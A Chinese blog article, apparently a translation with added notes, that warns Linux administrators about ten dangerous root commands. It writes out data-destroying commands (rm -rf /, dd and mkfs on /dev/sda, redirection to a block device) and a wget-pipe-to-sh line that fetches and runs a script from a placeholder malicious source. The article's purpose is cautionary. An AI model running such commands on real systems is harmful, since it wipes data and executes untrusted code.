Linux下10大危险命令,误用丢饭碗,谨慎别踩雷

Linux下10大危险命令,误用丢饭碗,谨慎别踩雷

初入运维和安全的小伙伴,在Linux下进行操作的时候,有些命令特别要小心使用,一不小心会让你饭碗不保,大家考虑一下互联网公司什么最重要? 无疑是数据,如果因为一些误操作,把数据搞丢了,那不是用钱可以挽回的措施,特此列举的10个危险命令,都是在root用户下发生的,如果你使用普通用户只能影响你的目录文件,对全局影响不大,因此在使用root权限执行命令的时候,三思而后行。。

NO1:rm -rf (且用且珍惜)

  1. rm 命令在Linux下通常用来删除文件。

  2. rm -r 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)

  3. rm -f 命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认,而-f则抑制了这个提示。)

  4. rm -rf / : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)

  5. rm -rf *: 强制删除当前目录的所有文件。

  6. rm -rf . : 强制删除当前文件夹及其子文件夹。

防御手段: 想好了你在按回车

NO2:快捷键重启(ctrl+alt+del)

Linux系统中默认 重启快捷键(ctrl+alt+del)是默认开启的,在运维过程中,工程师经常使用快捷键,特别是在ID=3 的模式下,也是纯命令行模式,不进行提醒,直接重启服务器,在一些关键的服务器中,重启是一个非常大的问题,可能导致服务在重启中出现异常行为,业务无法启动。

参考:centos6.5 修复的方法:

step1: /etc/inittab

inittab is only used by upstart for the default runlevel.

#

# ADDING OTHER CONFIGURATION HERE WILL HAVE NO EFFECT ON YOUR SYSTEM.

#

# System initialization is started by /etc/init/rcS.conf

#

# Individual runlevels are started by /etc/init/rc.conf

#

# Ctrl-Alt-Delete is handled by /etc/init/control-alt-delete.conf

#

# Terminal gettys are handled by /etc/init/tty.conf and /etc/init/serial.conf,

# with configuration in /etc/sysconfig/init.

#

# For information on how to write upstart event handlers, or how

# upstart works, see init(5), init(8), and initctl(8).

#

# Default runlevel. The runlevels used are:

# 0 - halt (Do NOT set initdefault to this)

# 1 - Single user mode

# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)

# 3 - Full multiuser mode

# 4 - unused

# 5 - X11

# 6 - reboot (Do NOT set initdefault to this)

#

id:3initdefault:

step2: 修改

# control-alt-delete - emergency keypress handling

#

# This task is run whenever the Control-Alt-Delete key combination is

# pressed. Usually used to shut down the machine.

#

# Do not edit this file directly. If you want to change the behaviour,

# please create a file control-alt-delete.override and put your changes there.

#start on control-alt-delete

#exec /sbin/shutdown -r now "Control-Alt-Delete pressed" // 注释掉即可

~

NO3:文件查找(find)

find 在linux下进行文件查找,find本身不具有什么危险性,但是我们要知道假如你的系统挂载了大容量的磁盘和磁盘阵列,那么find就会长时间占用主机资源,find是索引磁盘文件,因此给磁盘压力很大,曾经在做主机基线安全检查的时候由于find的命令使用不当,导致主机被扫挂。


NO4:> /dev/sda

上列命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

NO5:> /dev/null

这个命令会移动某个‘文件夹‘到/dev/null。在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止数据恢复软件的救赎,所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)

NO6:wget http://malicious_source -O- | sh

上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。

注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(译注:所以,你真的知道你在做什么吗?当遇到这种需要是,我的做法是,先wget下来,然后我去读一读其中到底写了些什么,然后考虑是否执行。)

NO7:> file

上列命令常用来清空文件内容(译注:通常也用于记录命令输出。不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是“>>”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “> xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。

NO8:dd if=/dev/random of=/dev/sda

上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。)

NO9:隐藏命令

下面的命令其实就是上面第一个命令 (rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的根分区。

这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。

NO10: mkfs.ext3 /dev/sda

上列命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱动器)会被格式化,崭新的!没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备,除非是作为raw设备使用,一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁灭性的,上面的数据都会被蒸发了。)


分享到:


相關文章: